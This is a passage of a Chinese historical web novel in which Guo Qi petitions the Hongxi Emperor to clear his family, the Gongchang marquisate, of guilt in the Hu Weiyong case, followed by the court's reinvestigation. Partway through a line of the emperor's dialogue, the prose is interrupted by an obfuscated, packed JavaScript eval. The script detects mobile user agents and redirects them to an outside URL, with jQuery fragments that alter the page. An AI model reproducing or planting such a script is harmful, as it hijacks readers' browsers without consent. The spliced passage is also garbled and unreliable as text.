她顿了顿,声音压低了几分,语速极快:“陛下今日心情尚可,只是晨间与杨阁老议及赈灾之事,略有些疲惫。你们入内后,多诉流离之苦,少提朝堂纷争。陛下仁厚爱民,最见不得百姓受苦,定会动容。” “多谢家姐指点。”郭玹与郭玘齐声应道。 “陛下已在里间等候,我这就带你们进去。”郭贵妃起身,带着两人穿过一道屏风,来到养性斋的内室。 明仁宗朱高炽正坐在一张紫檀木案前,手中捧着一卷古籍,神情专注。他身形微胖,面容温和,眉宇间带着淡淡的疲惫,却难掩那份帝王的威仪与与生俱来的仁厚。 “臣妾参见陛下。”郭贵妃走上前,屈膝行礼。 郭玹与郭玘连忙跪倒在地,行三叩九拜之礼:“臣郭玹、草民郭玘,叩见陛下,吾皇万岁万岁万万岁!” “平身吧。”朱高炽放下书卷,声音温和,目光落在两人身上,最后定格在郭玘身上,“你便是巩昌侯郭兴的孙子,郭景扬的儿子?” “正是草民。”郭玘站起身,低着头,不敢直视圣颜。陛下一开口便提及父亲的原名,显然已对巩昌侯府的情况有所了解,这让他心中稍安。 朱高炽微微一笑:“朕已听贵妃提及你的事。郭兴将军是我朝的开国功臣,为大明立下赫赫战功,朕在东宫监国时,便常听先帝提及他平定中原、镇守西北的忠勇之举。你伯郭景振作为嫡长子,承袭巩昌侯爵位,本应延续家族荣光,却也在胡惟庸案中蒙冤被杀,着实令人惋惜。只是没想到,而今郭兴将军的后裔竟会困于军籍,在海州屯田为生,令朕感慨啊。” 郭玘心中一暖,仁宗开篇便提及祖父与大伯的功绩与遭遇,显然已有恻隐之心。他深吸一口气,按照事先商议的,缓缓道:“陛下圣明。祖父郭兴跟随太祖皇帝南征北战,出生入死,为大明的建立耗尽心血;大伯郭景振承袭爵位后,恪尽职守,并无半点谋逆之心,却在胡惟庸案中遭人诬陷,巩昌侯府满门蒙冤,族人流离失所。家父郭景扬为保全性命,隐姓埋名,逃亡海州,入了东海卫军籍,一生隐忍耕作,未能为父兄洗刷冤屈,便抱憾而终。” 说着,他从怀中取出合璧的“忠勇”玉佩,双手奉上:“陛下,这是祖父的传家玉佩,分为‘忠’‘勇’两半,大伯郭景振生前持有‘忠’字玉佩,家父持有‘勇’字玉佩。胡惟庸案后,‘忠’字玉佩流落武定侯府,‘勇’字玉佩由家父世代相传,临终前托付给草民。后经武定侯府相助,得以两璧合璧。此玉佩不仅是郭家的传家宝,更是祖父忠勇一生的见证。” 内侍接过玉佩,呈给仁宗。明仁宗接过玉佩,仔细端详着。玉佩质地温润,“忠勇”二字苍劲有力,背面的“郭”字古体字暗纹清晰可见,两块玉佩严丝合缝,浑然一体。他轻轻摩挲着玉佩,眼中闪过一丝赞赏:“好一块‘忠勇’玉佩!郭兴将军一生忠勇,璞玉传承,名不虚传。” 朱高炽捧着玉佩,沉吟良久,目光中满是感慨。他想起自己作为太子监国期间,曾翻阅过洪武朝的功臣档案与胡惟庸案卷宗,郭兴的战功与郭景振的履历赫然在列——郭景振承袭巩昌侯后,曾镇守西北,军纪也颇为严明,深受军民爱戴,卷宗中所列谋逆证据,多为同案犯的攀咬与匿名举报,并无实质性凭据。当时他便觉此案疑点重重,如今见到这枚承载着家族传承的玉佩,更坚信巩昌侯府实乃无辜蒙冤。 “郭玘,”朱高炽的声音温和却带着威仪,“除了这玉佩,你还有其他信物能佐证此事吗?” “回陛下,草民有。”郭玘连忙从怀中取出那卷缝合着祖父手书的拓本,再次跪倒在地,双手奉上,“这是祖父的手书与玉佩拓本。手书是祖父在生前托部下李诚叔照拂而留,上面有祖父的亲笔字迹,叮嘱‘助景扬吾儿,忠勇报国,护族延嗣’;拓本则是玉佩的完整拓印,与现持玉佩纹路完全一致,可作佐证。” 内侍将拓本呈给朱高炽。朱高炽展开拓本,看到“助景扬吾儿,忠勇报国,护族延嗣”十三个字,笔锋苍劲,充满柔情,与他在宫中珍藏的郭兴手迹摹本别无二致,显然是真品无疑。再看已显陈旧拓本上的玉佩纹路,与手中的玉佩完美契合,连细微的刻痕都分毫不差。 “郭兴将军竟还留下了这样的手书……”朱高炽心中愈发动容。这短短十三个字,既饱含着父亲对儿孙的无限关爱,也隐隐透露出他对当时朝堂危机的警惕,更让人体会到巩昌侯府蒙冤后,一脉相承的艰难与不易。他抬起头,看着跪在地上的郭玘,眼中满是怜悯:“你父亲郭景扬隐姓埋名,在海州屯田为生,这些年想必吃了不少苦吧?” 提及父亲,郭玘的声音带着难以抑制的哽咽:“回陛下,家父一生隐忍,既要躲避朝廷的追查,又要拉扯族人、开垦荒地。海州近海多盐碱地,收成微薄,家父便带领族人改良土壤、煮海为盐,勉强维持生计。他在世时,最大的心愿便是能为家族洗刷冤屈,让族人脱离军籍,做个自在百姓。可惜,他积劳成疾,未能等到这一天,便撒手人寰了。” 郭玹见状,也上前一步,躬身道:“陛下,臣可为郭玘作证。巩昌侯府蒙冤后,先父郭铭便一直暗中照拂郭玘一族,为他们传递耐碱谷种、联络旧部、提供庇护。这些年,郭玘在海州屯田耕作,改良盐碱地惠及周边军户,兴办蒙学教化贫民,从未有过丝毫异动,足见其忠顺之心。此次若非陛下即位,推行宽政,他也不敢贸然赴京,恳请陛下为巩昌侯府昭雪。” 郭贵妃也柔声补充道:“陛下,臣妾父亲生前常与臣妾提及,巩昌侯府的冤屈是他此生最大的遗憾。郭兴将军是臣妾的伯祖父,郭玘堂弟与臣妾血脉相连,他的遭遇臣妾感同身受。郭玘堂弟沉稳坚韧,这些年在海州受苦却始终坚守本分,从未有过抱怨。臣妾恳请陛下念在郭兴将军的开国功绩、郭景振侯爷的无辜蒙冤,体恤其流离之苦,查明此事原委。” 朱高炽看着眼前的三人,心中已有了决断。郭兴是开国功臣,郭景振是世袭侯爷,父子二人皆忠勇闻名,却在胡惟庸案中蒙冤,这是不争的事实;郭玘手中的玉佩、手书、拓本,证据链完整,足以证明其巩昌侯府后裔的身份,也间接印证了蒙冤的真实性;再加上郭府的担保与郭贵妃的恳切斡旋,此事显然值得深究。 更重要的是,他即位以来,一直致力于推行宽政,平反洪武、永乐两朝的冤案错案,以收拢人心、稳固统治。巩昌侯府的冤案,牵涉开国功臣父子二人,若能妥善处理,既能彰显他的仁厚圣明,也能安抚天下旧勋后裔,实为一举多得之事。 “你们都起来吧。”朱高炽抬手,示意众人平身,“朕知道了。郭兴将军功在社稷,郭景振侯爷也属无辜蒙冤,其后人却困于军籍,耕作于盐碱之地,受苦多年,朕心中甚感不忍。这玉佩与拓本,朕留在此处,会让人仔细核验。” 他顿了顿,继续道:“郭玹,你身为郭兴将军的侄孙,与郭玘同族同辈,此事便交由你牵头,先会同翰林院、宗人府,核实郭玘的身份与郭兴、郭景扬旧案的相关卷宗。务必仔细查证,多方比对,尤其是郭景振侯爷的定罪证据,要逐一核实,待核实清楚后,再报朕定夺。” “臣遵旨!”郭玹心中一喜,连忙躬身领命。他知道,陛下虽未直接承诺平反,却已迈出了最关键的一步——启动身份核验与卷宗核查,这便是对冤情的初步认可,尤其是明确要求核查郭景扬的定罪证据,更是让平反多了几分把握。 郭玘也激动不已,再次跪倒在地:“谢陛下!陛下圣明!草民代郭家上下,谢陛下隆恩!” “平身吧。”朱高炽微微一笑,“朕知道你所求不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914095|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是想让族人脱离军籍,做个自在百姓。此事待核实清楚后,朕自会给你一个满意的答复。” 他看着郭玘,眼中满是赞赏:“你历经磨难却不卑不亢,不慕荣华而甘守本分,实属难得。如今朝中多有追名逐利之辈,像你这样沉毅谦逊的,并不多见。好在此事尚有核查的余地,你且耐心等候,朕不会让有功之臣的后裔一直蒙冤,更不会让无辜者的血白流。” “草民谨记陛下教诲,静候圣裁。”郭玘再次叩谢。 “好了,你们也辛苦了,先回吧。”朱高炽摆摆手,“核查之事,朕会让相关衙门尽快启动,有消息会第一时间通知郭府。” “臣(草民)告退!”郭玹、郭玘与郭贵妃齐声行礼,缓缓退出了养性斋。 走出养性斋,郭玘只觉得浑身轻松,心中的一块大石终于落了地。阳光透过树叶的缝隙洒下来,温暖而耀眼,仿佛照亮了家族的未来。 “贤弟,恭喜你!”郭玹拍了拍他的肩膀,眼中满是喜悦,“陛下已同意启动核查,尤其还特意提及要核实景振伯的定罪证据,这便是最大的胜利。接下来,只需耐心等待核实结果,家族的冤屈很快便能迎来转机。” “这都离不开郭玹兄与家姐的奔走。”郭玘由衷地说道。 郭贵妃微微一笑:“都是自家族人,不必言谢。父亲在天之灵,看到今日的局面,也定会感到欣慰。接下来,郭府会继续跟进核查进度,我也会在宫中适时提醒陛下,争取早日有个结果。” 三人边走边聊,穿过御花园,来到宫门处。郭贵妃需留在宫中,与两人告别后,便转身返回。她刚回到寝宫,便见心腹内侍候在门外,低声禀报道:“娘娘,成国公府又派人来了,说愿出重金,只求郭家罢手。”郭贵妃眸色一冷,淡淡道:“话传回去,郭家子孙,从不受威逼利诱。”内侍应声退下,她望着窗外的宫墙,心中暗道:这场仗,才刚刚开始。 郭玹与郭玘则在宫女的引导下,离开了皇宫。马车行驶在京城的街道上,郭玹撩开车帘,看着窗外车水马龙的景象,眉头微蹙。他知道,陛下的旨意一下,京中那些勋贵定会更加躁动,接下来的核查之路,怕是布满荆棘。他转头看向郭玘,见他正低头摩挲着那枚玉牌,神色平静,心中稍安。至少,他们已经迈出了最艰难的一步。 回到武定侯府,郭琮早已等候在府中。听闻面圣顺利,陛下已同意启动身份核验与卷宗核查,还特意提及核查郭景振的定罪证据,他脸上露出了欣慰的笑容:“好!好!陛下仁厚,此事定能顺利推进。郭玹贤弟,接下来核查之事,你要多费心,务必尽快核实清楚,尤其是景扬伯的定罪证据,要逐一查证,为巩昌侯府平反打下坚实基础。” “兄长放心,小弟定会全力以赴。”郭玹躬身应道。 接下来的日子,郭府上下都行动起来。郭玹每日前往翰林院、宗人府,对接核查事宜,提交相关证据。他深知,那些旧案卷宗里藏着不少猫腻,稍有不慎,便会打草惊蛇。他特意避开了那些与旧案有牵连的官员,只与翰林院几位刚正不阿的老儒打交道,逐字逐句地核对卷宗。遇到含糊不清之处,便连夜查阅史料,寻找佐证。 郭琮则利用自己的人脉,联络当年知晓郭兴、郭景振旧案的老臣与宗人府官员,为核查工作提供便利。那些老臣大多感念郭兴当年的恩德,纷纷出言相助,有的甚至拿出了珍藏多年的旧档,为平反添砖加瓦。 郭贵妃也在宫中暗中斡旋,时常在与仁宗闲谈时,不着痕迹地提及郭玘在海州的善举与巩昌侯府的艰难,进一步加深仁宗的印象。她还借着整理宫中文档的机会,找出了当年太祖皇帝嘉奖郭兴的诏书,呈给仁宗看,让仁宗更加坚信,郭兴父子绝非谋逆之人。 与此同时,张秉也收到了郭玘的消息。他已通过武定侯府的关系,恢复了翰林院编修的官职,此时正留在京城,协助郭玹整理证据。他利用自己在翰林院的便利,查阅了大量洪武朝的功臣档案与胡惟庸案的相关卷宗,找到了更多能证明郭兴、郭景振与胡惟庸案无关的旁证——比如郭景振案发时,正在西北戍边的军报,足以证明他并无通敌的时间。这些证据,为身份核验与旧案核查提供了有力支持。 仁宗朱高炽果然如传闻中一般仁厚爱民。他虽未过度干预核查流程,却多次在朝会上询问进展,要求相关衙门“实事求是,不可推诿拖延,务必还无辜者一个清白”。有一次,内阁的杨荣再次进谏,说“翻案过急,恐惹非议”,仁宗当即沉下脸道:“朕为天子,当以公道治天下。有功者赏,有罪者罚,无辜者岂能蒙冤?”杨荣哑口无言,自此,朝中再无人敢公然反对核查之事。 郭玘在郭府中耐心等候,每日除了与郭玹商议相关事宜,便是闭门读书,或是摩挲那枚“忠勇”玉佩。他知道,此时的等待是必要的,唯有让核查工作严谨无误,才能让后续的平反之路更加顺畅。闲暇时,他会站在郭府的庭院中,望着南方的天空,想起海州的族人,想起李诚的牌位,心中默默祈祷。 这一日,郭玹从宗人府回来,脸上满是喜色,一进门便高声道:“贤弟,好消息!翰林院已核验过伯祖父的手书与玉佩拓本,确认均为真品;宗人府也查阅了郭府的族谱与相关记载,证实你确为郭兴将军的嫡孙、郭景扬的儿子。身份核验已全部通过,接下来便是正式核查郭兴、郭景振的旧案卷宗了!” 郭玘闻言,眼中闪过一丝泪光。他快步走到案前,取出那枚合璧的“忠勇”玉佩,紧紧握在手中,指尖微微颤抖:“祖父,父亲,我的身份已得到朝廷认可,我们离洗刷冤屈的日子,又近了一步!” 郭玹看着他激动的模样,心中也十分欣慰,走上前拍了拍他的肩膀:“贤弟,身份核验通过,便是迈出了最关键的一步。接下来的旧案核查,有陛下的关注与我们准备的铁证,想必也会顺利。我们只需再耐心等候几日,便能迎来最终的结果。” 郭玘点点头,心中却保持着一份平静。他知道,身份核验通过只是开始,旧案核查才是真正的考验。但他有信心,有手中的铁证,有郭府的支持,有仁宗的仁厚,祖父与大伯的冤屈,终将得以洗刷。 当晚,郭玘再次来到郭府的祠堂。祠堂中供奉着郭氏先祖的牌位,其中便有郭兴的牌位。他点燃三炷香,深深鞠躬,香火袅袅中,他的声音带着哽咽,却无比坚定:“祖父,孙儿身份已获朝廷认可,旧案核查即将启动。您老人家一生忠勇,却蒙冤多年,如今终于看到了昭雪的曙光。郭玘定会牢记先祖的教诲,坚守本分,不辜负你们的期望,不辜负陛下的厚爱。” 香火袅袅,映照着祠堂中的牌位,仿佛是先祖们在回应他的誓言。郭玘站在祠堂中,心中充满了坚定。他知道,接下来的旧案核查,将是一场硬仗,但他已做好准备,迎接任何挑战,只为家族的清白,只为“忠勇”二字的传承。 洪熙元年春,京城的阳光格外明媚。在郭府的上下奔走与郭贵妃的暗中斡旋下,在仁宗朱高炽的宽仁圣明下,巩昌侯府的平反之路,终于迈出了坚实的第一步。郭玘站在郭府的庭院中,望着远方的皇宫,心中默念:“爹,等了三十多年的这一天,终于要来了。” 而此时的郭玹,正坐在书房,提笔写下一封密信,准备派人送往海州。信中写道:“身份已验,核查在即。前路虽难,然忠勇传家,定不负先祖所托。”他将信笺封好,递给心腹,看着心腹的身影消失在夜色中,眼中满是坚定。这场为家族洗刷冤屈的仗,他们一定会赢。 26. 第四卷 御状合璧 第26章 旧案重审 洪熙元年暮春,翰林院的晨光透过雕花窗棂,洒在堆积如山的故纸堆上。张秉身着正六品侍读官服,鬓角沾着些许灰尘,手中握着一卷泛黄的《洪武十三年胡党案卷宗》,指尖因长久翻阅而泛白。自仁宗下旨重审巩昌侯府旧案以来,他已在这藏书阁中埋首月余,逐字逐句梳理胡惟庸案的来龙去脉,只为从浩如烟海的档案中,剥离出巩昌侯郭兴一族蒙冤的铁证。 这些日子里,阻力如影随形。前几日,他刚从吏部调取《洪武二十三年京畿卫戍兵权调配册》,便有锦衣卫深夜造访翰林院,言语间暗含威胁,让他“凡事留几分余地,勿深究洪武旧事”;昨日,又有当年参与定案的刑部老吏托人递话,说“太祖钦定之案,翻案便是质疑先帝,恐引火烧身”。张秉对此置若罔闻,只将那些威胁与阻挠,化作了核查卷宗的动力——他被贬海州数年,早已看透了官场的倾轧,如今重归朝堂,所求的不过是一个“公道”二字。 “张大人,吏部杨尚书派人来请,说是御前会议已定于辰时三刻在文华殿召开,让您即刻前往。”翰林院的小吏轻步上前,低声禀报。 张秉猛地抬头,眼中闪过一丝疲惫,却更多的是振奋。他将手中的卷宗小心翼翼地合上,连同桌上整理好的数十份证词、档案副本一同收入锦盒,沉声道:“知道了。替我回复杨尚书,即刻便到。” 起身时,他腰间的玉带发出轻微的碰撞声,这是仁宗为嘉奖他核查旧案有功,特意擢升他为侍读后所赐。但张秉心中并无半分喜悦,只觉得肩上的担子愈发沉重——巩昌侯府蒙冤二十余年,郭家三代人的血泪,都系于今日的御前重审。 文华殿内,气氛庄严肃穆。明仁宗朱高炽端坐于龙椅之上,面容温和却带着帝王的威仪。吏部尚书杨荣、刑部尚书金纯、宗人府令杨溥等重臣分列两侧,武定侯府的郭玹与身着素色儒衫的郭玘立于殿中偏侧,神色凝重。 张秉捧着锦盒,缓步走入殿内,躬身行礼:“臣张秉,叩见陛下,吾皇万岁万岁万万岁!” “平身吧。”朱高炽的声音温和,“张秉,此次重审巩昌侯府旧案,你是主要核查官,相关卷宗与证据,你可都已备妥?” “回陛下,臣已备妥。”张秉起身,将锦盒放在殿中案几上,缓缓打开,“陛下,巩昌侯郭兴一族的冤屈,根源在于洪武十三年的胡惟庸案。此案牵连甚广,前后两次大规模清洗,波及公侯伯子男数十人,官员百姓逾五万之众,其中多有冤假错案。郭兴公父子,便是其中最典型的一例。” 他取出一卷《洪武朝功臣名录》,展开道:“陛下请看,郭兴公出身淮西,自太祖皇帝微末之时便追随左右,南征北战,立下赫赫战功。攻克常州时,他身先士卒,破敌营七座;平定江西时,他智取南昌,生擒陈友谅部将张定边;北伐蒙古时,他镇守潼关,阻断元军退路,为大明一统天下立下汗马功劳。洪武三年,陛下追封功臣,郭兴公被封为巩昌侯,赐免死铁券,食禄一千五百石,其功绩与忠诚,均有朝廷档案可查。” 杨荣上前翻阅片刻,颔首道:“陛下,张侍读所言属实。吏部存档的《洪武功臣功绩册》中,对郭兴公的战功记载详实,确为开国功臣之翘楚。” 张秉继续道:“然而,洪武十三年胡惟庸案发,太祖皇帝以‘谋反’为由,大肆清算功臣。胡惟庸身为左丞相,权倾朝野,确有结党营私之举,但此案的审理过程,却充满了诸多疑点与不合规之处。其一,定罪证据多为口供,缺乏实质性物证。据卷宗记载,胡惟庸的供词前后矛盾,时而供认谋反,时而翻供,而其所谓‘党羽’的证词,多为刑讯逼供所得,可信度极低。” 他取出一份泛黄的供词副本,递呈给仁宗:“陛下,这是当年吉安侯陆仲亨的供词,上面有明显的涂改痕迹,且多处情节与史实不符。而此类情况,在胡党案的供词中比比皆是。太祖皇帝晚年猜忌心重,锦衣卫与刑部为迎合上意,往往不择手段获取‘罪证’,这也是此案牵连甚广的重要原因。” 朱高炽接过供词,仔细翻阅,眉头渐渐皱起。他在东宫监国时,便曾对洪武朝的诸多冤案有所耳闻,如今亲眼见到这些漏洞百出的供词,心中愈发确信胡惟庸案确有冤情。 “其二,此案的审理范围无限扩大,凡与胡惟庸有过丝毫交集者,无论公私,均被视为‘胡党’。”张秉的声音愈发激昂,“郭兴公与胡惟庸虽同为淮西勋贵,但素无深交。据《洪武朝起居注》记载,郭兴公一生谨慎,从不参与党争,与胡惟庸的所有往来,均为朝堂之上的公开公务,且多为军事调度相关,并无任何私下勾结的记录。吏部存档的《洪武十三年公务档案》中,详细记载了郭兴公当年的任职轨迹与公务往来,可充分证明这一点。” 刑部尚书金纯上前核实档案后,躬身道:“陛下,张侍读所言无误。刑部查阅了洪武十三年的相关档案,郭兴公与胡惟庸确无私下往来,所有公务均有迹可循,并无任何异常。” 张秉接着道:“其三,郭兴公在胡惟庸案爆发时,早已身患重病,根本无参与谋反的可能。据《巩昌侯府医案》记载,郭兴公自洪武十二年冬便偶感风寒,后病情日渐加重,至洪武十三年胡惟庸案发时,已卧床不起,连入宫面圣都无法成行,何来精力参与谋反?这一点,当年为郭兴公诊治的太医与府中亲信均可作证。” 他取出几份证词副本:“陛下,这是当年为郭兴公诊治的太医李默的证词,以及巩昌侯府管家郭福的证词,均能证明郭兴公在胡惟庸案爆发时的身体状况。洪武十七年,郭兴公病逝,太祖皇帝追赠其为陕国公,谥‘宣武’,若其真为‘胡党’,太祖皇帝怎会如此厚待?” 朱高炽闻言,若有所思地点点头。他看向郭玘,眼中满是怜悯:“郭玘,张侍读所言,是否属实?” 郭玘躬身道:“回陛下,张大人所言句句属实。先祖父病重期间,父亲与叔父日夜照料,府中上下均可作证。先祖父一生忠勇,绝无可能参与谋反之事。” 张秉见状,话锋一转,语气陡然变得沉肃,将核查中最关键的政治隐情托出:“陛下,最令人深思的,莫过于郭兴公病逝六年之后,竟在洪武二十三年被追加为‘胡党’。此事绝非偶然,实与当时的朝堂权力格局紧密相关。” 他从锦盒中取出一卷《洪武实录·卷二百一十七》,展开其中一页,躬身呈上:“陛下请看,洪武二十三年,胡惟庸案余波未平,太祖皇帝又因蓝玉等手握重兵、骄纵跋扈而心生忌惮,彼时朝廷正大力收拢京畿卫戍兵权,削夺勋贵的军事权力。郭兴公虽已离世,但巩昌侯府的势力犹在——世子郭景振承袭爵位后,仍执掌着三千京畿骁骑营的兵权,这支部队驻守京城左掖门,乃是拱卫皇城的核心力量,与太祖皇帝集中兵权的诉求产生了直接冲突。” 殿内一片寂静,众臣皆是神色微动。杨荣捻着胡须,沉吟道:“张侍读此言,确有道理。洪武二十三年,太祖皇帝确曾下旨调整京畿卫戍布局,将勋贵执掌的兵权逐步移交至皇室宗亲与心腹将领手中。” 张秉颔首,声音铿锵有力:“正是如此。太祖皇帝晚年,对淮西勋贵的猜忌已达顶峰,胡惟庸案的爆发,不过是他削夺勋贵兵权的契机。郭景振手握京畿兵权,又身为淮西勋贵后裔,自然成了太祖皇帝的眼中钉。所谓‘承袭父志,意图翻案’的罪名,不过是欲加之罪。洪武二十三年的追加定罪,本质上是太祖皇帝为巩固皇权、集中兵权而采取的政治手段,郭兴公父子,不过是这场权力博弈中的牺牲品。” 朱高炽接过《洪武实录》,目光落在那一行行关于兵权调整的记载上,面色愈发凝重。他终于明白,巩昌侯府的冤屈,从来都不是简单的“刑狱不公”,而是明初皇权与勋贵权力博弈的必然结果。 宗人府令杨溥核实相关记载后,躬身道:“陛下,张侍读所言属实。宗人府存档的《洪武二十三年勋贵兵权核查册》中,确有郭景振执掌京畿骁骑营的记录,且其被削爵流放的时间,恰与太祖皇帝调整京畿兵权的时间完全吻合。” 朱高炽的脸色渐渐沉了下来。他拿起案几上的卷宗,仔细翻阅着,心中愈发愤怒。郭兴是开国功臣,忠勇一生,却因太祖皇帝的猜忌而被追认为“胡党”;郭景振承袭爵位,恪尽职守,却被无辜杀害,巩昌侯府一族更是流离失所,隐姓埋名,这实在是天大的冤屈。 “陛下,”张秉的声音带着一丝哽咽,“郭兴公一族的遭遇,并非个例。洪武朝的胡惟庸案、蓝玉案,牵连甚广,许多开国功臣都因此蒙冤。这些功臣为大明的建立立下了汗马功劳,却最终落得个身首异处、家族覆灭的下场,实在令人心寒。如今陛下即位,推行宽政,平反冤案,正是为这些无辜蒙冤者洗刷冤屈、收拢人心的最佳时机,亦是对明初政治得失的反思与修正。” 他躬身叩首:“臣恳请陛下,为郭兴公一族平反昭雪,还他们一个清白!” 郭玹与郭玘也连忙跪倒在地,齐声道:“臣(草民)恳请陛下,为郭兴公一族平反昭雪!” 殿内的其他重臣见状,也纷纷躬身道:“陛下,张侍读所言极是,恳请陛下为郭兴公一族平反!” 朱高炽看着跪在地上的众人,又看了看案几上的卷宗与证据,心中已有了决断。他深吸一口气,缓缓道:“张秉,你起身吧。郭玹、郭玘,你们也平身。” “谢陛下!”三人起身,眼中满是期盼。 朱高炽的目光扫过殿内的重臣,沉声道:“郭兴公是开国功臣,忠勇一生,功绩卓著,这是不争的事实。胡惟庸案牵连甚广,其中确有诸多冤假错案,郭兴公一族便是其中之一。郭兴公病逝后被追认为‘胡党’,郭景振侯无辜被杀,巩昌侯府一族流离失所,实属冤屈。” 他顿了顿,继续道:“今日,朕便下旨,重审巩昌侯府旧案。着吏部、刑部、宗人府联合核查,务必实事求是,还原真相。若核查结果确如张秉所言,郭兴公一族确系蒙冤,朕定当为其平反昭雪,还他们一个清白!” “陛下圣明!”殿内众臣齐声高呼。 张秉心中一块大石落地,眼中满是欣慰。他知道,今日的御前会议,已经为巩昌侯府的平反迈出了最关键的一步。接下来,便是要通过严谨的核查,彻底还原真相,让郭兴公一族的冤屈得以洗刷。 御前会议结束后,吏部、刑部、宗人府立刻组建了联合核查小组,由张秉牵头,负责具体的核查工作。仁宗下旨,要求核查小组“实事求是,细致入微,务必还原案件真相,不得有任何偏袒与遗漏”。 接下来的一个月,张秉带领核查小组,埋首于翰林院与吏部的档案库中,对胡惟庸案及巩昌侯府相关的所有卷宗进行了逐一梳理。阻力依旧未断——锦衣卫暗中监视核查小组的行踪,有旧案牵连的官员则故意拖延提供档案,甚至暗中篡改部分记录。张秉早有防备,他带着核查小组日夜值守档案库,每一份卷宗都核对原件与副本,遇到篡改痕迹便立刻封存,并请翰林院的文吏鉴定笔迹年代,硬是在重重阻挠中,梳理出了一份铁证如山的核查报告。 他们不仅查阅了当年的定罪档案、供词证词,还调取了郭兴公的功绩册、任职记录、医案,以及洪武朝的起居注、公务档案等,力求从各个角度还原事件的真相。郭玹与郭玘也积极配合核查工作,将家中珍藏的郭兴公手书、玉佩拓本、家族族谱等信物悉数交由核查小组查验。郭玘还回忆了父亲郭斌(郭景扬)临终前告知他的家族遭遇,为核查工作提供了许多重要的线索。 经过一个月的细致核查,核查小组终于整理出了一份详尽的核查报告。洪熙元年夏,仁宗再次在文华殿召开御前会议,听取核查小组的汇报。 张秉捧着核查报告,缓步走入殿内,躬身行礼:“陛下,臣已带领联合核查小组,完成了对巩昌侯府旧案的核查工作,现将核查结果向陛下禀报。” “呈上来吧。”朱高炽道。 内侍接过核查报告,呈给朱高炽。朱高炽仔细翻阅着,神色愈发凝重。 张秉站在殿中,朗声说道:“陛下,经过一个月的细致核查,臣等已确认,巩昌侯郭兴一族确系蒙冤。具体核查结果如下: 其一,郭兴公与胡惟庸无任何谋反关联。据《洪武十三年公务档案》记载,郭兴公与胡惟庸的所有往来,均为朝堂之上的公开公务,主要涉及军事调度与边防事务,并无任何私下勾结的记录。且郭兴公自洪武十二年冬便身患重病,至洪武十三年胡惟庸案发时,已卧床不起,根本无参与谋反的精力与可能。这一点,有当年的太医证词、巩昌侯府医案及府中亲信证词为证。 其二,郭兴公被追认为‘胡党’,实属无稽之谈。郭兴公于洪武十七年病逝,太祖皇帝追赠其为陕国公,谥‘宣武’,并下令厚葬,这充分说明太祖皇帝当时对郭兴公的忠诚是认可的。而洪武二十三年,郭兴公被追认为‘胡党’,定罪证据仅为两名已被处死的‘胡党’成员的攀咬之词,并无任何实质性依据。经核查,这两名‘胡党’成员与郭兴公素无往来,其攀咬之词前后矛盾,明显是为了自保而编造的谎言。 其三,郭景振侯爷无辜被杀,实属冤屈。郭景振侯爷承袭巩昌侯爵位后,恪尽职守,积极参与军务,并无任何谋反之举。据《洪武二十三年京畿卫戍档案》记载,郭景振侯爷在任期间,军纪严明,练兵有方,京畿卫戍力量得到了显著提升,深受将士爱戴。而其被定罪的理由‘承袭父志,意图为父翻案’,更是毫无根据的诬陷。核查小组查阅了郭景振侯爷当年的所有言行记录,并未发现任何与‘翻案’相关的蛛丝马迹。 其四,胡惟庸案的审理过程存在严重的程序不公。此案的定罪证据多为口供,且多为刑讯逼供所得,缺乏实质性物证。审理过程中,锦衣卫与刑部为迎合太祖皇帝的猜忌之心,肆意扩大审理范围,凡与胡惟庸有过丝毫交集者,均被视为‘胡党’,根本不给予辩白的机会。这种审理方式,必然导致大量冤假错案的发生。” 张秉顿了顿,再次强调那桩冤案背后的政治逻辑:“陛下,臣等核查时还发现,洪武二十三年对郭兴公的追加定罪,与当时太祖皇帝集中兵权的诉求直接相关。彼时蓝玉案刚定,京畿勋贵兵权过重的问题引发太祖忌惮,郭景振执掌的京畿骁骑营乃是皇城屏障,自然成为削权的目标。所谓‘胡党余孽’的罪名,不过是掩盖皇权与勋贵权力博弈的借口。” 吏部尚书杨荣上前躬身道:“陛下,张侍读的核查报告详实可信,证据确凿,臣等均无异议。恳请陛下为郭兴公一族平反昭雪。” 刑部尚书金纯与宗人府令杨溥也纷纷附和:“恳请陛下为郭兴公一族平反昭雪!” 朱高炽放下核查报告,眼中满是感慨与愤怒。他没想到,洪武朝的胡惟庸案竟然存在如此严重的冤假错案,郭兴公一族的遭遇实在令人同情。他看向站在殿中的郭玘,心中满是怜悯。 “郭玘,”朱高炽的声音温和却带着威仪,“如今核查结果已出,你祖父郭兴、大伯郭景振均系蒙冤。你有何诉求,可当面告知朕,朕定会为你做主。” 郭玘闻言,心中激动不已,连忙跪倒在地,重重磕了三个响头,声音带着难以抑制的哽咽:“陛下圣明!草民代巩昌侯府上下,谢陛下为祖父与大伯洗刷冤屈!” 他抬起头,眼中闪烁着泪光,却神色坚定:“陛下,草民今日所求,并非恢复巩昌侯的爵位,也非谋求一官半职。自祖父与大伯蒙冤后,族人颠沛流离,隐姓埋名,入了军籍,在海州盐碱地耕作为生,受尽了苦楚。草民只求陛下恩准,让巩昌侯府后裔脱离军籍,定居海州,永为良民,远离政治纷争,安稳度日。” 此言一出,殿内众人皆露出惊讶之色。谁也没想到,郭玘放着世袭爵位与官场前程不要,只求族人脱离军籍,做个自在百姓。 朱高炽也颇为意外,他看着郭玘,眼中闪过一丝赞赏:“你可知,恢复巩昌侯爵位,你便可承袭侯位,享尽荣华富贵?为何只求脱离军籍,做个普通百姓?” 郭玘再次叩首:“陛下,荣华富贵于草民而言,不及族人安稳度日重要。祖父与大伯一生忠勇,却因政治纷争蒙冤,草民不愿族人再卷入朝堂漩涡。海州虽地处偏远,盐碱地虽贫瘠,却是族人赖以生存的家园。草民只想带领族人,耕种劳作,兴办教化,安稳度日,不负祖父‘忠勇传家’的家训,也不负陛下的浩荡皇恩。” 他顿了顿,继续 